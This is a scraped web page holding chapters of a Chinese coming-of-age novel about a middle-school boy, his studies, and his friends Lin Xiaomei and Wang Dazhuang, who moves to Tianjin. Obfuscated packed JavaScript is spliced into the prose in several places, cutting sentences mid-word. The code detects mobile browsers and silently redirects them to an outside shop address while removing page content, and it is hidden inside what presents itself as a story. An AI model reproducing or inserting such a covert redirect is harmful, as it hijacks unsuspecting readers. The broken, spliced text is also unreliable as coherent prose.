两个人走到校门口,李小四看到了一个熟悉的身影。 妈妈站在校门口的梧桐树下,手里拎着一个塑料袋,穿着一件洗得发白的棉袄。路灯把她的影子照得又瘦又长,风吹着她的头发,她好像比上次见面又老了一点。 李小四的脚步顿住了。 妈妈看到他了,快步走过来。她先看了看他脸上的伤——左颧骨蹭破了一块皮,渗着血丝——然后拉起他的手看了看,确定没有大碍之后,沉默了几秒钟。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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课间的时候,不止一个人走过来跟他说“小四你真牛”“昨天那事我们都听说了”“黄毛那孙子活该被打”。连平时不怎么说话的林小美,也在他的课本上贴了一张便利贴:“你没事吧?” 李小四在便利贴下面写了一行字:“没事,皮外伤。” 林小美看了之后,在下面又加了一行:“下次别一个人上了,告诉我,我帮你报警。” 李小四看到这句话,差点笑出声来。 马老师在课上没有提打架的事,但放学之前,他把李小四叫到了办公室。 “伤好点了吗?”马老师问。 “好多了。” 马老师点了点头,从抽屉里拿出一本新的练习册递给他:“上次那本做完了吧?这本难度大一些,你试试。” 李小四接过练习册,犹豫了一下:“马老师,处分的事……会不会记在档案里?” “初中阶段的处分,表现好可以撤销。”马老师说,“但这不是重点。李小四,我问你一个问题——你觉得你昨天做错了吗?” 李小四想了想:“打人不对,但我觉得我没错。” 马老师看着他,忽然笑了:“我也觉得你没错。” 李小四愣住了。这是他第一次看到马老师笑。 “但下次遇到这种事,第一时间来找老师,别自己往上冲。”马老师收起笑容,认真地说,“你们还是孩子,保护自己是第一位的。听明白了吗?” “听明白了。” 李小四走出办公室的时候,天已经快黑了。走廊上空空荡荡的,只有他的脚步声在回荡。他走到楼梯拐角的时候,看到墙上贴着一张新的告示,是关于校园欺凌的举报电话和举报信箱。 他想,这也许是他这次打架带来的一个小小的改变。 走出校门的时候,他又遇到了黄毛。 黄毛脸上的伤比他还多,一只眼睛肿了,嘴角也破了。他看到李小四,下意识地后退了一步,然后咬着牙,梗着脖子从旁边走了过去,一句话都没说。 李小四也没有说话。 他们都知道,有些事情,从今天起不一样了。 5. 冬天的约定 打架事件之后,日子好像过得快了起来。 十一月的县城,冷得不像话。教室的窗户上结了一层薄薄的霜花,早读课的时候,全班四十八个人呼出的白气汇在一起,像给教室蒙上了一层纱。李小四的棉袄是去年买的,袖子已经短了一截,手腕露出一圈,冻得发红。他不好意思跟妈妈说,因为上次摸底考试买练习册花了三十多块,妈妈皱了好几天眉头。 “你穿我的吧。”王大壮从书包里掏出一件深蓝色的抓绒外套,扔给他,“我妈买大了两号,我穿着像套了个麻袋,你瘦,正好。” 李小四套上试了试,果然正好。衣服上有洗衣粉的味道,干干净净的,领口还缝了一个布标签,用圆珠笔写着“王大壮”三个字。 “谢了。” “客气啥,”王大壮打了个哈欠,“反正我也穿不了。” 旁边的林小美看了他们一眼,嘴角微微弯了弯,低下头继续背英语单词。她的校服外面套了一件灰色的旧毛衣,袖口脱了线,有几根毛线 dangling 着,她也不在意。 李小四注意到,自从那次体育课撞见她啃馒头之后,林小美中午吃东西变得小心了很多。她不再在教室里吃,而是拿着那个塑料袋去操场后面的花坛边,坐在石阶上,一个人安安静静地吃完再回来。 李小四不知道该怎么帮她了。苹果、牛奶、巧克力,这些东西她偶尔会收,但每次都要推辞半天,好像收了别人的东西是一件需要偿还的债务。她太敏感了,像一只随时准备缩回壳里的蜗牛。 他只能假装不知道。 周四下午最后一节是体育课。天冷得厉害,体育老师也懒了,集合点了名就让大家自由活动。男生们跑去打篮球,女生们三三两两聚在一起聊天,有几个缩在教室没出来。 李小四没去打球。他最近有点烦,期中考试进步了,但数学的68分像一堵墙,怎么都翻不过去。马老师给他的那本练习册越往后越难,二元一次方程组他勉强搞懂了,但一元一次不等式又卡住了,尤其是带括号的那种,去括号变号总是搞反。姐姐在视频里讲了三次,他当时听懂了,过两天又忘了。 他一个人在操场边上溜达,不知不觉走到了后面的花坛。 然后他看到了林小美。 她坐在石阶上,膝盖上摊着一本书,旁边放着那个熟悉的塑料袋。塑料袋里装着一个馒头——是的,又一个馒头——和一小袋从学校食堂拿的免费辣椒酱。她掰下一块馒头,蘸一点辣椒酱,慢慢地嚼,眼睛一直看着书,像是在做什么理所当然的事。 冷风把她的头发吹到脸上,她抬手别到耳后,手指冻得通红。 李小四站在远处看了几秒钟,心里像被什么东西扎了一下。他想起妈妈在饭桌上说的话,想起姐姐在视频里给他讲题讲到声音发哑,想起马老师给他的那本卷了边的练习册。他想,每个人都有每个人的难处,林小美的难处,大概比他大得多。 他转身走了。 不是假装没看见,而是他知道,林小美不想让他看见。 第二天中午,李小四趁午休的时候,去了一趟学校门口的文具店。他买了两本作文本、两本英语本、两支黑色中性笔,又拐到旁边的小超市买了一袋面包和一盒牛奶。 回到教室的时候,教室里只有林小美一个人。她在写数学作业,低着头,笔尖在纸上沙沙地响。 李小四把东西放在她桌上。 “这是什么?”林小美抬起头,眼神里带着警惕。 “作文本和英语本,我的用完了,顺便帮你带了两本。”李小四把面包和牛奶也推过去,“这个是我妈硬塞给我的,我吃不了,你帮我解决。” 林小美看了看桌上的东西,又看了看他。 “李小四,”她忽然叫了他的名字,声音不大,但很认真,“你不用这样。” “哪样?” “就是……”林小美抿了抿嘴唇,“我知道你在帮我。但是你不用,我自己能行。” 李小四挠了挠头,在她旁边坐下来:“我没有在帮你。我妈真的给我塞了很多吃的,你帮我吃点是帮我忙,省得我背着回家累。” 林小美盯着他看了两秒钟,然后轻轻叹了口气,把那袋面包和牛奶收进了桌斗里。作文本和英语本她没有收,而是推回到李小四面前:“这个你自己留着用吧,我的还没用完。” 李小四张了张嘴,最终没有坚持。 “那行。”他说,把本子收进了自己的书包。 两个人沉默了一会儿。窗外的风呼呼地吹,吹得窗框上的旧报纸哗哗响。 “林小美,”李小四忽然说,“你以后想考哪个高中?” 林小美愣了一下,大概是没想到他会问这个问题。她想了一会儿:“县一中高中部。听说那边的升学率最高。” “那你一定能考上。”李小四说,语气很笃定。 “你呢?” 李小四想了想,老实说:“我不知道。我现在数学才68分,一中高中部去年录取线好像是五百多分,我差远了。” “还有两年多呢。”林小美说。 “两年多能追上来吗?” 林小美看了他一眼,眼神里多了一些他看不懂的东西:“你从38分到68分只用了两个月,两年多足够从68分到108分了。” 李小四笑了:“数学满分才100分。” “那就100分。”林小美的嘴角弯了弯,那抹淡淡的笑意像冬天的阳光,不热烈,但足够暖。 那天晚上,李小四回到家,破天荒地没有先做作业。他找了一张白纸,坐在书桌前,认认真真地写了一份计划表。 从周一到周日,每天放学后的时间被切割成小块:数学一小时,英语四十分钟,语文四十分钟,剩下的时间做其他科目的作业和复习。周末再加一个小时的数学和半个小时的英语阅读。 他把计划表贴在书桌正对面的墙上,贴得很高,抬头就能看到。 然后他翻开马老师给的那本练习册,找到一元一次不等式那一章,从头开始看。姐姐不在线,他就自己看书上的例题,一步一步地推,看不懂的就拿红笔圈出来,第二天去问林小美或者马老师。 那天晚上他做到十点半,比他平时睡觉的时间晚了整整一个小时。 他关灯躺下的时候,脑子里还在想着那些不等式。左边移右边要变号,乘除负数要变号,移项要变号——变号变号变号,所有的规矩都围绕着这个该死的变号。他在黑暗中念叨了好几遍,像和尚念经一样,念着念着就睡着了。 第二天数学课,马老师在黑板上出了一道带括号的不等式,让同学上去做。教室里安静了几秒钟,没人举手。 马老师的目光扫过全班,最后落在李小四身上。 “李小四,你来。” 李小四的心跳猛地加速了。他站起来,走上讲台,拿起粉笔。粉笔冰凉冰凉的,在他手指间微微颤抖。 他深吸一口气,开始写。 去括号,变号,移项,合并同类项,系数化为一——每一步他都写得很慢,像一个刚学会走路的孩子,小心翼翼地迈出每一步。 最后,他在等号右边写下了答案。 教室里很安静。 马老师走过来,看了看黑板上的步骤,沉默了两秒钟。这两秒钟像两个世纪那么长,李小四的手心全是汗。 “对了。”马老师说,“步骤完整,思路清晰,就是字丑了点,回去多练练。” 全班笑了。李小四咧着嘴走回座位,感觉脚下像踩了云,轻飘飘的。 坐下来的时候,林小美在草稿纸上写了一行字推过来:“写得挺好的,比我第一次做的时候步骤清楚多了。” 李小四在下面回了一行:“你第一次做肯定全对。” 林小美看了一眼,没再回,但嘴角弯了弯。 日子就这样一天一天地过去了。早上六点二十起床,晚上十点半睡觉。上课认真听,下课问问题。中午午休的时候别人睡觉他背单词,下午自习的时候别人聊天他做数学题。 那本卷了边的练习册,他从第一页做到了最后一页,每一道错题都整理进了错题本。错题本从薄薄的一本变成了厚厚的两本,红色蓝色的笔迹密密麻麻,有些地方还用荧光笔做了标记。 十二月初,学校组织了第二次月考。 考数学那天,李小四坐在考场里,拿到试卷的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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教室里安静了一瞬,然后响起了比刚才更热烈的掌声。李小四愣住了,他没想到同学们会给他鼓掌。 马老师看着他,点了点头,那个动作很轻,但李小四看得清清楚楚。 82分。两个多月前,他还在为38分发愁。现在他考了82分。 王大壮转过身来,一巴掌拍在他肩膀上:“行啊小四!你是不是偷偷补课了?” “没有,”李小四说,声音有点抖,“就是……做了很多题。” 旁边的林小美在草稿纸上写了一行字,推过来。 “恭喜。离100分还差18分。” 李小四看了这行字,笑了。他从笔袋里掏出一支笔,在下面写了一行字:“谢谢林老师。” 林小美看到“林老师”三个字,白了他一眼,但嘴角弯了。 那天放学的时候,李小四在校门口的小卖部给妈妈打了一个电话。 “妈,月考成绩出来了。” “考得怎么样?”妈妈的声音里带着一丝紧张。 “数学82,总分222,全班第三十一名。” 电话那头沉默了几秒钟。然后李小四听到妈妈吸了吸鼻子,声音有点哑:“好,好,晚上妈给你做红烧肉。” “行。” 挂了电话,李小四站在小卖部门口,看着街上来来往往的行人和车辆。天已经快黑了,路灯一盏一盏地亮起来,远处传来卖烤红薯的吆喝声。 他把手插进口袋里,往家的方向走。 口袋里有一个东西,硬硬的,是一支钢笔。那是姐姐上次回来给他的,说是自己在大学里得的奖学金买的,不是什么名牌,但写着很顺滑。李小四一直没舍得用,放在口袋里,偶尔摸一摸。 他想,等期末考试考进前二十名,就用这支笔写寒假作业。 不,前二十五名就行。 算了,还是前二十名吧。 他在心里跟自己讨价还价,不知不觉走到了小区门口。包子铺的老板正在收摊,看到他,笑着喊了一声:“小四,你妈今天买了排骨,高兴着呢!” 李小四笑了笑,加快脚步往家走。 他知道,妈妈高兴的不是那82分。 妈妈高兴的是,他在努力。 6. 离别 初一下学期一开学,李小四就感觉王大壮不对劲了。 以前的大壮,上课爱转过来跟他挤眉弄眼,下课第一个冲出教室,体育课能把篮球砸得篮板哐哐响。可这学期开学,他像是被人偷走了魂儿,上课趴在桌上发呆,下课也不出去玩,篮球都不碰了。 “你咋了?”李小四问了好几回。 “没事。”大壮每次都说没事,但脸上的表情分明写着“有事”。 李小四琢磨着,是不是家里出了什么事?上学期期末大壮考得不错,数学考了76,总分进了班级前三十,按理说不该是成绩的问题。难道是他爸妈吵架了?还是生病了? 大壮不说,李小四也不好一直追问。他把这事儿搁在心里,想着等大壮自己想说了自然会开口。 三月份的一个周五,下午最后一节是自习课。马老师不在,教室里嗡嗡嗡的像养了一窝蜜蜂。李小四正在做数学卷子,忽然听到前面传来一声闷响——大壮把笔摔在桌上,趴在胳膊上不动了。 李小四放下笔,拍了拍他的肩膀:“大壮?大壮?” 大壮没抬头,肩膀微微抖了一下。 李小四愣了一下。他从来没见过大壮这样。大壮在他眼里一直是那个天不怕地不怕的铁塔,打架冲在最前面,被处分了还笑着说“值了”,连哭都不会哭的那种人。 他张了张嘴,想说点什么,但又不知道该说什么。最后他只是把手放在大壮的肩膀上,轻轻按了按,没松手。 过了好一会儿,大壮抬起头来。他没哭,但眼眶红红的,鼻尖也红红的。他从桌斗里摸出一张皱巴巴的纸条,递给李小四。 李小四接过来一看,上面是他爸的笔迹,歪歪扭扭写着一行字: “壮壮,爸妈在天津安顿好了,月底来接你。转学手续已经办好了。” 李小四盯着这行字看了好几遍,每一个字都认识,但连在一起他怎么都看不懂。 “转学?”他的声音有点干,“转到哪儿去?” “天津。”大壮的声音闷闷的,像是从很远的地方传来的,“我爸在那边找了新活儿,我妈也过去了。他们说要全家搬过去。” “什么时候走?” “月底。” 李小四张了张嘴,想说“能不能不走”,但话到嘴边又咽了下去。他知道大壮爸妈在县城找不到什么好工作,他爸以前在建筑工地上干,有一阵没一阵的,他妈在超市打工,一个月两千块。去天津,工资能高不少。 “那……还回来吗?”他问了一个很蠢的问题。 大壮摇了摇头。 教室里闹哄哄的,有人在笑,有人在吵,有人在追着打闹。只有他们这一小片地方,安静得像另一个世界。 “还有半个月。”李小四说。 “嗯,半个月。” 两个人沉默了一会儿,大壮忽然挤出一个笑来:“没事儿,又不是见不着了。寒假暑假我回来找你。” “行。”李小四也笑了,但笑得有点费劲。 那天晚上,李小四躺在床上,翻来覆去睡不着。 他想起了很多事。想起开学第一天,大壮揽着他的肩膀说“咱俩一起找教室呗”。想起被黄毛堵住的时候,大壮不知道从哪儿冒出来,嗓门大得能把人吓跑。想起考38分那天,大壮请了他一根烤肠,刷了辣椒酱,咬一口满嘴香。想起打架那次,大壮站在他旁边,肩膀宽得像一堵墙,说“你动他一下试试”。 这些事好像就发生在昨天,一转眼,大壮就要走了。 李小四把脸埋进枕头里,枕头有点湿。 大壮要走的消息很快传遍了全班。 同学们的反应各不相同。有人觉得可惜——大壮虽然成绩一般,但人缘好,谁都跟他玩得来。有人觉得羡慕——“天津哎,大城市,比咱们这小破县城强多了”。还有人没什么反应,毕竟只是同学,走了就走了,地球照转。 林小美听说之后,沉默了一会儿,然后从本子上撕了一张纸,叠了一个千纸鹤,让李小四转交给大壮。 “什么意思?”李小四问。 “保平安。”林小美说完就低下头继续写作业了,耳朵根有点红。 李小四把千纸鹤放在大壮桌上。大壮拿起来看了看,小心翼翼地放进了笔袋里,拉好拉链,拍了拍。 “替我谢谢她。”大壮说。 “你自己谢去。” “行。” 大壮开始跟班里的每个人告别。他跟男生们一一击掌,跟女生们说了几句“以后常联系”,把通讯录写满了三页纸。他还请全班每人吃了一根棒棒糖——那是他用攒了好久的零花钱买的,在校门口的小卖部批了一整箱,用两个大塑料袋拎到教室,累得气喘吁吁。 “以后想我了就吃颗糖。”大壮咧着嘴笑,但眼睛里有水光。 李小四把棒棒糖塞进嘴里,草莓味的,甜得发腻。他含着糖,一句话都说不出来。 临走前那个周末,大壮约李小四出来。 两个人去了学校后面的河堤。三月底的风还带着凉意,河边的柳树抽了新芽,嫩绿嫩绿的,在风里摇来摇去。河堤上没什么人,只有几个老头在远处钓鱼,安安静静地坐着,像几尊雕塑。 他们并排坐在河堤的石阶上,一人手里拿着一根烤肠。 “我跟你说个事儿,”大壮咬了一口烤肠,含混不清地说,“你别告诉别人。” “啥?” 大壮沉默了好一会儿,像是在做什么重大的决定:“我爸在天津其实不是找到了好工作。他在工地从脚手架上摔下来了,腿摔坏了,在天津的医院做手术。我妈过去照顾他。他们不让我去,怕影响我学习,但我妈一个人照顾不过来,我得过去。” 李小四手里的烤肠差点掉在地上。 “你说什么?” “我爸去年腊月就摔了,”大壮的声音很平静,但攥着烤肠签子的手指关节发白,“他们一直瞒着我,怕我担心。我开学前才知道。” 李小四张了张嘴,脑子里嗡嗡的。他想说“你怎么不早告诉我”,想说“你爸现在怎么样了”,想说“你一个人去天津怕不怕”——但这些话挤在喉咙里,一个都出不来。 “他现在好多了,”大壮说,“能拄着拐杖走路了。但以后干不了重活了,工地肯定不去了,得想别的出路。” “那你……你妈呢?” “她在天津找了个厂子打工,工资还行,比县城高。”大壮把剩下的烤肠一口吃掉,把签子扔在地上,“所以我也得去,一家人不能分开。” 李小四看着大壮的侧脸。夕阳照在他黝黑的皮肤上,泛着一种暖黄色的光。他忽然发现,大壮好像长大了很多,不是个子长高了——虽然确实又蹿了一截——而是脸上的表情,那种以前从来没有过的、认真又沉甸甸的表情。 “大壮,”李小四说,“你到天津了,好好读书。” “那必须的。” “别跟人打架了,那边你人生地不熟的。” “知道了。” “寒假暑假回来找我,我请你吃烤肠。” “一根不够,得两根。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444056|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李小四笑了,笑着笑着眼眶就红了。他低下头,用袖子狠狠地擦了一下眼睛。 大壮没看他,望着远处的河面,河面上波光粼粼的,像撒了一把碎金子。 “小四,”大壮忽然说,“你还记得上学期你说想考县一中高中部不?” “记得。” “你肯定能考上。”大壮转过头来看着他,表情认真得不像是在开玩笑,“你从38分到82分只用了半年,还有两年,你能考得更好。” 李小四想说“你也一样”,但话到嘴边又咽了下去。他不知道天津的中考是什么情况,不知道大壮去了那边能不能跟上,不知道大壮还有没有精力像现在这样读书。 “你也是。”他最后还是说了。 大壮笑了一下,那个笑容里有一些李小四看不太懂的东西。他说:“我到那边了给你写信。” “写信?现在谁还写信?你发微信不行吗?” “微信要聊,信也要写,”大壮说,“写信显得正式。” 李小四被他逗笑了,笑着笑着眼眶又红了。他使劲忍住,把脸别过去,假装在看远处钓鱼的老头。 两个人在河堤上坐到天快黑,直到路灯一盏一盏地亮起来,沿着河岸排成一条弯弯曲曲的光带。 “走吧,”大壮站起来,拍了拍裤子上的灰,“我妈等我吃饭呢。” “我也该回去了。” 两个人沿着河堤往回走,谁都没有说话。走到分岔路口的时候,大壮停下脚步,转过身来。 “小四,”他说,“咱俩拉个钩。” “拉钩?” “拉钩。”大壮伸出小拇指,“不管在哪儿,都是最好的兄弟。” 李小四看着大壮伸过来的小拇指,忽然觉得鼻子一酸。他把小拇指勾上去,两个人的手指紧紧地勾在一起。 “拉钩上吊,一百年不许变。”大壮说。 “一百年不许变。”李小四跟着说。 两个人松开手,大壮转身走了。他走了几步又回过头来,朝李小四挥了挥手,然后快步走进了路灯下的那条巷子,身影越来越小,最后消失在拐角处。 李小四站在原地,看着那条空荡荡的巷子,站了很久很久。 三月底的那个周五,大壮没来上学。 马老师在课上宣布了这个消息,说王大壮同学因为家庭原因转学去了天津,希望同学们以后常联系。 教室里安静了一瞬,然后有人小声说了句“他昨天还给我发了微信”,有人说“他说到那边安顿好了就告诉我们地址”,还有人说“他走了以后谁陪我打球啊”。 李小四坐在座位上,看着前面那个空荡荡的位置。大壮的课桌已经被收拾干净了,桌面上什么都没有,椅子的靠背上还贴着他上学期贴的那张NBA球星贴纸,库里腾空而起的样子,像是在做一个永远不会落地的梦。 林小美在草稿纸上写了一行字推过来:“你还好吗?” 李小四看了那行字,拿起笔想回一句“我没事”,但写了两个字就写不下去了。他把笔放下,把那行字划掉了,然后趴在桌子上,把脸埋在胳膊里。 过了一会儿,他感觉有人轻轻碰了碰他的手肘。他抬起头,看到林小美把一颗草莓味的棒棒糖放在了他的桌上。 糖纸上印着一颗红红的草莓,和一行小字:Sweet time。 李小四拿起那颗糖,看了很久,然后剥开糖纸,塞进嘴里。 草莓味的,甜得发腻。 跟大壮请全班吃的那根,是一个味道。 7. 初二的夏天 王大壮走后的第一个星期,李小四总觉得教室里少了点什么。 以前他走进教室,第一眼看的永远是前面那个位置——大壮会转过身来,咧嘴一笑,有时候挤眉弄眼,有时候直接扔过来一颗糖。现在那个位置空了,椅子靠背上的库里贴纸还在,但坐在那里的人换成了一个瘦瘦的戴眼镜的男生,叫张瑞,从隔壁班转过来的,说话轻声细语,跟大壮完全是两个物种。 李小四不是不喜欢张瑞。张瑞人挺好的,成绩也不错,数学比他还好几分。但每次他抬头,看到的不再是大壮那颗圆滚滚的后脑勺,而是一颗永远低着看书的、纹丝不动的脑袋,他就觉得不对劲,像是穿了一只大一码的鞋,走得动,但总觉着哪儿不跟脚。 他给大壮发了几天微信,大壮回得断断续续的。刚开始还好,发语音说天津好大好大,从家里到学校要坐四十分钟公交车,学校也比县一中大一倍,操场有塑胶跑道,还有室内篮球馆。李小四听了又羡慕又失落,羡慕的是那些他没见过的东西,失落的是这些东西跟大壮有关,但跟他没关系了。 后来大壮回消息的频率越来越低。李小四发一句,他半天回一个“嗯”或者“在忙”。再后来,李小四也不知道该说什么了。两个人的生活像两条分岔的河,越流越远,中间隔着的不是距离,而是说不清道不明的东西。 李小四把手机扔到一边,翻开数学练习册,开始做题。 马老师上学期期末的时候找他谈过一次话。那是在大壮走后的第二天,马老师把他叫到办公室,没有说大壮的事,而是从抽屉里拿出了一本新的练习册,浅蓝色的封面,比之前那本厚了一倍。 “这本是初二的内容,”马老师说,“你暑假有空的时候看看。你现在的进度,开学就可以做这个了。” 李小四接过练习册,翻了几页。二次根式、勾股定理、平行四边形——里面的字他都认识,但合在一起完全看不懂。 “马老师,我初一的内容还没吃透呢。” “你没问题的,”马老师说,难得地拍了拍他的肩膀,“你比你自己想的聪明。就是别偷懒,一偷懒就完蛋。” 李小四把这句话记在了心里。 暑假他没有回老家。妈妈要上班,爸爸跑长途货运两个月才回来一次,姐姐在省城打暑假工没回来。他一个人在家,早上睡到自然醒,给自己煮一碗挂面,然后坐到书桌前开始学习。 天很热。县城的老房子没有空调,只有一台落地的风扇,呼呼地吹着热风,像是在跟夏天比谁更燥。李小四把湿毛巾搭在脖子上,汗珠顺着脸颊往下淌,滴在练习册上,把纸洇湿了一小片。他用袖子擦掉,继续做。 数学、英语、语文,他按照上学期制定的计划表,每天轮着来。马老师给的练习册他从第一页开始做,不会的就看课本,课本上找不到的就用手机查,查不到的就圈出来,攒了一堆问题打算开学问林小美。 他偶尔会给林小美发微信。林小美的微信头是一片纯黑的图,朋友圈什么都没有,个性签名写着“好好学习”,简单得像她这个人。他们聊的内容也简单,基本都是问作业和问题目。 “李小四,第八页第三题,你答案是多少?” “我算的是15。” “错了,是12。你步骤写给我看看。” 李小四把解题过程拍下来发过去。过了几分钟,林小美发来一条语音,声音不大,语速很快,但每个字都说得很清楚:“你第二步就错了,这个根号不能直接开,要先化简。” 他听了三遍才听懂。 “你这个讲法跟马老师一模一样,”他打字过去,“太专业了。” “我以后想当老师。”林小美回。 “真的假的?” “真的。我想回县城当老师。” 李小四盯着这行字看了几秒钟。他不知道林小美为什么想回县城当老师,但隐约觉得,这大概跟她妈妈有关。他从来没有问过林小美她妈妈的事,林小美也从来没有主动提过。 “那你一定是个好老师。”他最后回了这么一句。 林小美没有回复。 八月底的一个傍晚,李小四在家门口收到了一封信。 信封是白色的,左上角贴着一张邮票,邮票上印着一只丹顶鹤。信封上用蓝色圆珠笔写着“李小四收”,字迹歪歪扭扭的,有些笔画还写错了,用笔涂了又改。 是大壮寄来的。 李小四站在家门口就把信拆开了。信封里有两张纸,一张是信,另一张是一张照片。照片上是大壮,站在一所学校的门口,穿着蓝色校服,晒得更黑了,笑起来露出一口白牙,比以前瘦了一点,但肩膀还是那么宽。 信写得不算长,有些地方的语句不太通顺,但每个字都写得很用力,有些字的笔画都印到了纸的背面。 “小四,你好吗?我到天津快五个月了。这边的学校跟咱们那边不一样,教材也不一样,数学有些东西我没学过,跟不上。我每天六点就起床,晚上学到十一点,期中的时候数学考了61分,全班倒数,老师找我谈话了。” “我爸腿好多了,能自己走路了,但是走不快,也不能走太久。他现在在一个小区看大门,一个月两千八,我妈还在厂里。我放学了就去帮我爸值班,坐在门卫室写作业,来人了就喊一声。” “这边的同学挺好的,但我还是想你们。我想咱俩在河堤上吃烤肠,想你跟我打篮球,想你坐在我后面写作业,有时候还哼歌,哼得难听死了。” “你学习怎么样了?数学有没有进步?林小美还在帮你吗?你跟她说谢谢,她叠的千纸鹤我带到天津了,放在书包里,每天背着。” “我寒假可能回不去,火车票太贵了。我妈说等攒够钱了再回去。你要是有空了可以给我写信吗?我喜欢收信的感觉,像收到礼物一样。” “你的兄弟,王大壮。” 李小四把这封信看了三遍。 第一遍看得很快,心跳得很快,像是大壮就站在他面前跟他说话。第二遍看得很慢,一个字一个字地看,看到“我放学了就去帮我爸值班”那一段,鼻子酸了。第三遍他看到最后一句“你的兄弟,王大壮”,眼泪掉了下来,砸在信纸上,把“壮”字的最后一横洇开了一小片。 他用袖子擦了擦眼睛,跑回屋里,翻出一个旧信封,铺开一张作文纸,开始写回信。他写了很多很多,写了六页纸,写到作文纸不够用了,又从作业本上撕了几页接着写。他写了马老师给的新练习册,写了林小美帮他讲题,写了张瑞坐了大壮的位置但他还是不太习惯,写了妈妈说等他考进前二十名就给他买新书包,写了学校门口那家烤肠摊还在,老板有时候还会问“你那个大个子的同学呢”。 他写到快十二点,手腕都酸了,但心里热乎乎的。 第二天一早,他去邮局买了邮票,把信寄了出去。邮票他挑了一张最贵的,上面印着一座桥,他也不知道是什么桥,但觉得桥连着两边,就像这封信连着他和天津。 开学那天,李小四走进教室,发现林小美换了一个新书包。 不是名牌,是普通的帆布书包,深蓝色的,干干净净的,吊牌已经摘了,但一看就是新的。她以前的旧书包不背了,李小四注意到,不是因为她有了新的,而是因为那个书包的带子已经缝了三次,实在背不了了。 “新书包好看。”李小四说。 林小美低头看了一眼书包,嘴角弯了弯:“谢谢。我暑假做家教赚的。” “你做家教?” “给一个初二的学生补英语,十节课,赚了三百块。”林小美说这话的时候语气很平淡,好像在说一件很普通的事,但李小四注意到她的眼睛亮了一下。 李小四想说“你真厉害”,但话到嘴边觉得太像拍马屁了,就改口说:“那你以后当老师肯定有经验了。” 林小美看了他一眼,没说话,但那个眼神里有笑意。 初二的生活比初一紧张了很多。 课程多了物理,作业多了两倍,马老师脸上的笑容更少了,连课间都不让他们闲着了——“初二最关键,初二是分水岭,初二掉下去初三爬不上来。”这些话马老师每天都要说一遍,说得嘴上都起了皮。 李小四的物理一开始学得很吃力。什么参照物、匀速直线运动、力的作用,全是新概念,他脑子转不过弯来。第一次物理单元测验,他考了58分,又不及格。 “你怎么又回到38分的感觉了?”林小美看了他的试卷,皱了皱眉。 “这是物理,不是数学。” “物理就是应用数学,”林小美拿出自己的试卷,放在他旁边,“你看,这道题你公式用对了,但单位换算错了。这道题你概念搞混了,惯性和力的区别你没弄清楚。” 李小四看着她的试卷,上面红勾勾一片,只有最后一道多选题扣了4分,96分。 “你是怎么学的?” “看书,做题,总结错题。”林小美说,“跟学数学一样,没什么特别的。” 李小四叹了口气,把物理课本翻到第一章,从头开始看。 初二上学期过得飞快,像一阵风,还没来得及抓住就过去了。 期中考试,李小四数学考了86分,物理考了71分,总分排名班级第二十五名。他实现了上学期定的目标,进了前二十五名。但离前二十名还有一段距离,离林小美更远——林小美又是年级第一,总分比他高了将近一百分。 “你不用跟我比,”林小美看他盯着成绩单发呆,难得地多说了一句,“我跟你们不一样,我除了学习没有别的事。” 李小四听了这话,心里不是滋味。 他知道林小美说的是实话。她不玩游戏,不刷短视频,不看小说,不跟同学出去玩。她的生活就是学校、家、两点一线,连手机都只是用来查资料和问作业的。她的全部时间和精力都投在了学习上,因为她没有别的路可以走。 而李小四呢?他还会在周末打两局游戏,还会在体育课上疯跑一个下午,还会在被窝里偷偷看半小时小说。他觉得自己已经很努力了,但跟林小美比起来,他那点努力算什么呢? “那我也要跟你比。”李小四说。 林小美愣了一下:“为什么?” “因为你是我的目标。” 林小美看着他,眼神里有一些他看不懂的东西。她张了张嘴,想说点什么,但最终什么也没说,低下头继续写作业了。 但她耳朵红了,红得很明显,连头发都遮不住。 十一月底,学校组织了一次秋游。 说是秋游,其实就是去县城边上的凤凰山爬山,来回二十多公里,美其名曰“磨练意志”。马老师在班会上宣布这个消息的时候,全班欢呼,连平时最不爱说话的林小美都抬起了头,眼睛里有一点光。 出发那天是个晴天,天蓝得不像话,云白得像棉花糖。全班四十六个人——大壮走了之后班里又转来两个新生——坐了两辆大巴车,一路颠簸到了凤凰山脚下。 马老师站在山脚下讲了一大堆注意事项,什么“不许单独行动”什么“遇到危险及时报告”,讲得口干舌燥。但他的话还没说完,同学们就已经开始往上爬了。 李小四走在中段,前面是林小美,后面是张瑞。林小美穿了一件白色的卫衣,背着她那个深蓝色的帆布书包,马尾辫在脑后一甩一甩的。她走路不快,但一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444057|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步都不停,节奏很稳,像她这个人一样。 爬到半山腰的时候,大部分人都累得不行了,三三两两地坐在路边休息。李小四也累了,靠在一棵松树上喘气,掏出水杯喝了一大口。林小美站在他旁边,气息比他还稳,额头上有薄薄的一层汗,脸被太阳晒得有点红。 “你不累?”李小四问。 “累,”林小美说,“但不能停,停下来就不想走了。” 